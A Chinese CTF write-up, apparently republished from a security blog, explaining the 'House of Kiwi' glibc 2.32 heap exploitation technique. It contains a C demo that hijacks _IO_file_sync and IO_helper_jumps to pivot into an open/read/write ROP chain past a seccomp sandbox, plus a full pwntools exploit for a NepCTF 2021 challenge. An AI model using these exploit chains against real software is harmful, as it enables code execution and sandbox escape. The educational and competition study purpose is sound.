【技术分享】House OF Kiwi

  • A+
所属分类:安全文章

【技术分享】House OF Kiwi

 

【技术分享】House OF Kiwi

House_OF_Kiwi

CTF的Pwn题里面,通常就会遇到一些加了沙盒的题目,这种加沙盒的题目,在2.29之后的堆题中,通常为以下两种方式

  1. 劫持__free_hook,利用特定的gadget,将栈进行迁移

  2. 劫持__malloc_hook为setcontext+61的gadget,以及劫持IO_list_all单链表中的指针在exit结束中,在_IO_cleanup函数会进行缓冲区的刷新,从而读取flag

因为setcontext + 61从2.29之后变为由RDX寄存器控制寄存器了,所以需要控制RDX寄存器的指向的位置的部分数据

<setcontext+61>:    mov    rsp,QWORD PTR [rdx+0xa0]<setcontext+68>:    mov    rbx,QWORD PTR [rdx+0x80]<setcontext+75>:    mov    rbp,QWORD PTR [rdx+0x78]<setcontext+79>:    mov    r12,QWORD PTR [rdx+0x48]<setcontext+83>:    mov    r13,QWORD PTR [rdx+0x50]<setcontext+87>:    mov    r14,QWORD PTR [rdx+0x58]<setcontext+91>:    mov    r15,QWORD PTR [rdx+0x60]<setcontext+95>:    test   DWORD PTR fs:0x48,0x2<setcontext+107>:    je     0x7ffff7e31156 <setcontext+294>-><setcontext+294>:    mov    rcx,QWORD PTR [rdx+0xa8]<setcontext+301>:    push   rcx<setcontext+302>:    mov    rsi,QWORD PTR [rdx+0x70]<setcontext+306>:    mov    rdi,QWORD PTR [rdx+0x68]<setcontext+310>:    mov    rcx,QWORD PTR [rdx+0x98]<setcontext+317>:    mov    r8,QWORD PTR [rdx+0x28]<setcontext+321>:    mov    r9,QWORD PTR [rdx+0x30]<setcontext+325>:    mov    rdx,QWORD PTR [rdx+0x88]<setcontext+332>:    xor    eax,eax<setcontext+334>:    ret


缺点

但是如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup,若再将__malloc_hook和__free_hook给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区进行调用,这时候就涉及到ptmalloc源码里面了。


使用场景

1、能够触发__malloc_assert,通常是堆溢出导致
2、能够任意写,修改_IO_file_sync和IO_helper_jumps + 0xA0 and 0xA8

__malloc_assert

GLIBC 2.32/malloc.c:288
glibc中ptmalloc部分,从以前到现在都存在一个assret断言的问题,此处存在一个fflush(stderr)的函数调用,其中会调用_IO_file_jumps中的sync指针
static void__malloc_assert (const char *assertion, const char *file, unsigned int line,       const char *function){(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",           __progname, __progname[0] ? ": " : "",           file, line,           function ? function : "", function ? ": " : "",           assertion);fflush (stderr);abort ();}
如何触发assert?在_int_malloc中存在一个 assert (chunk_main_arena (bck->bk));位置可以触发,此外当top_chunk的大小不够分配时,则会进入sysmalloc中
GLIBC 2.32/malloc.c:2394
......assert ((old_top == initial_top (av) && old_size == 0) ||        ((unsigned long) (old_size) >= MINSIZE &&         prev_inuse (old_top) &&         ((unsigned long) old_end & (pagesize - 1)) == 0));......
此处会对top_chunk的size|flags进行assert判断
    1. old_size >= 0x20;

    2. old_top.prev_inuse = 0;

    3. old_top页对齐

通过这里也可以触发assert
下面手动实现进入assert后,可以想到fflush和fxprintf都和IO有关,可能需要涉及IO,一步步调试看看可以发现在fflush函数中调用到了一个指针:位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址

【技术分享】House OF Kiwi

如果存在一个任意写,通过修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61
修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移


Demo

一个简单的演示用的DEMO

// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <assert.h>#include <unistd.h>#include <sys/prctl.h>#include <linux/filter.h>#include <linux/seccomp.h>#define pop_rdi_ret libc_base + 0x000000000002858F#define pop_rdx_r12 libc_base + 0x0000000000114161#define pop_rsi_ret libc_base + 0x000000000002AC3F#define pop_rax_ret libc_base + 0x0000000000045580#define syscall_ret libc_base + 0x00000000000611EA#define ret pop_rdi_ret+1size_t libc_base;size_t ROP[0x30];char FLAG[0x100] = "./flag.txtx00";void sandbox(){    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);    struct sock_filter sfi[] ={        {0x20,0x00,0x00,0x00000004},        {0x15,0x00,0x05,0xC000003E},        {0x20,0x00,0x00,0x00000000},        {0x35,0x00,0x01,0x40000000},        {0x15,0x00,0x02,0xFFFFFFFF},        {0x15,0x01,0x00,0x0000003B},        {0x06,0x00,0x00,0x7FFF0000},        {0x06,0x00,0x00,0x00000000}    };    struct sock_fprog sfp = {8, sfi};    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);}void setROP(){    uint32_t i = 0;    ROP[i++] = pop_rax_ret;    ROP[i++] = 2;    ROP[i++] = pop_rdi_ret;    ROP[i++] = (size_t)FLAG;    ROP[i++] = pop_rsi_ret;    ROP[i++] = 0;    ROP[i++] = syscall_ret;    ROP[i++] = pop_rdi_ret;    ROP[i++] = 3;    ROP[i++] = pop_rdx_r12;    ROP[i++] = 0x100;    ROP[i++] = 0;    ROP[i++] = pop_rsi_ret;    ROP[i++] = (size_t)(FLAG + 0x10);    ROP[i++] = (size_t)read;    ROP[i++] = pop_rdi_ret;    ROP[i++] = 1;    ROP[i++] = (size_t)write;}int main() {    setvbuf(stdin,0LL,2,0LL);    setvbuf(stdout,0LL,2,0LL);    setvbuf(stderr,0LL,2,0LL);    sandbox();    libc_base  = ((size_t)setvbuf) - 0x81630;    printf("LIBC:t%#lxn",libc_base);    size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61    size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel    per_jumps;    size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps    setROP();    *((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp    *((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址    *((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址    // 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);    *top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在    malloc(0x1000); // 触发assert    _exit(-1);}

实际利用

以NepCTF 2021年中NULL_FxCK为例
程序实现了一个简单的增删查改功能,在edit的时候存在一个off by null的漏洞利用,因为环境是GLIBC 2.32,其中tcache chunk的fd进行了一个异或处理
所以此前通过tcache bin、fastbin 以及 large bin共同进行的fake chunk的伪造不可行,下面则是

  • 仅large bin chunk的堆块伪造,并即可实现堆块重叠

  • 并large bin attack 任意写攻击TLS结构体中的存放tcache结构体指针的位置,从而可以伪造tcache bin结构体进行任意构造

  • 再通过上述demo任意写控制参数,从而在assert后即可进行栈迁移

from pwn import*context.binary = './main'def menu(ch):    p.sendlineafter('>> ',str(ch))def New(size,content):    menu(1)    p.sendlineafter('Size: ',str(size))    p.sendafter('Content: ',content)def Modify(index,content):    menu(2)    p.sendlineafter('Index: ',str(index))    p.sendafter('Content: ',content)def Show(index):    menu(4)    p.sendlineafter('Index: ',str(index))def Free(index):    menu(3)    p.sendlineafter('Index: ',str(index))
libc = ELF('./libc-2.32.so')while True: p = remote('node2.hackingfor.fun',38734) try: New(0x2000,'FMYY') New(0x1000,'FMYY') New(0x2000 - 0x2F0 - 0x600,'FMYY') New(0x4F0,'FMYY') #3 New(0x108,'FMYY') New(0x500,'FMYY') #5 New(0x108,'FMYY') #6 - 7 -8 New(0x108,'FMYY') New(0x108,'FMYY') New(0x510,'FMYY') #9 New(0x108,'FMYY') New(0x4F0,'FMYY') #11 New(0x108,'FMYY') #12 Free(3) Free(5) Free(9) New(0x2000,'FMYY') Free(3) New(0x500,'x00'*8 + p64(0xE61)) # 3 New(0x4F0,'x00'*8+ 'x10x00') # 5
Free(11) New(0x800,'FMYY') # 9 Free(9) New(0x510,'x10x00') #9 New(0x4F0,'x00'*0x20) #11
Modify(10,'x00'*0x100 + p64(0xE60)) Free(11) New(0x4F0,'FMYY') # to split the unsorted bin chunk New(0x1000,'FMYY') Show(6) libc_base = u64(p.recvuntil('x7F')[-6:].ljust(8,'x00')) - 1648 - 0x10 - libc.sym['__malloc_hook'] log.info('LIBC:t' + hex(libc_base)) Show(9) heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x49F0 log.info('HEAP:t' + hex(heap_base)) ############################ SROP_address = heap_base + 0x79F0 magic = libc_base + 0x1EB538 main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10 pop_rdi_ret = libc_base + 0x000000000002858F pop_rdx_r12 = libc_base + 0x0000000000114161 pop_rsi_ret = libc_base + 0x000000000002AC3F pop_rax_ret = libc_base + 0x0000000000045580 syscall_ret = libc_base + 0x00000000000611EA malloc_hook = libc_base + libc.sym['__malloc_hook']

frame = SigreturnFrame() frame.rsp = heap_base + 0x7A90 + 0x58 frame.rip = pop_rdi_ret + 1
Open = libc_base + libc.symbols["open"] Read = libc_base + libc.symbols["read"] Write = libc_base + libc.symbols['write']
orw = '' orw += p64(pop_rax_ret) + p64(2) orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78) orw += p64(pop_rsi_ret)+p64(0) orw += p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rdx_r12) + p64(0x100) + p64(0) orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000) orw += p64(Read) orw += p64(pop_rdi_ret)+p64(1) orw += p64(Write) orw += './flag.txtx00x00' IO_helper_jumps = libc_base + 0x1E38C0 ################################### New(0x130,'x00'*0x108 + p64(0x4B1)) #14 New(0x440,'FMYY') #15 New(0x8B0,'x00'*0x20 + p64(0x21)*8) #16 New(0x430,'FMYY') #17 New(0x108,'FMYY') #18 Free(15) ###### New(0x800,'FMYY') Free(15) ###### Free(7) New(0x4A0,'x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20)) Free(17) New(0x800,str(frame) + orw) Free(15)
New(0x430,'FMYY') Free(7) New(0x4A0,'x00'*0x30 + 'x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10) Free(0) Free(1)
New(0x108,p64(libc_base + libc.sym['setcontext'] + 61)) New(0x208,str(frame)[0xA0:]) menu(1) p.sendafter('Size:',str(0x428)) break except: p.close()p.interactive()

 

【技术分享】House OF Kiwi

总结

主要是相对于之前的两种方法而言,运用要简单需要,平常喜欢IO的一些知识,偶然发现的,侵删。

【技术分享】House OF Kiwi

- End -
精彩推荐
【技术分享】CDN安全论文复现-RangeAmp攻击
壳牌披露数据泄露,源头竟是“猪队友”Accellion
【技术分享】从浅入深学习PHP文件包含
【技术分享】某游戏xLua分析

【技术分享】House OF Kiwi

戳“阅读原文”前往安全客官网

本文始发于微信公众号(安全客):【技术分享】House OF Kiwi

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: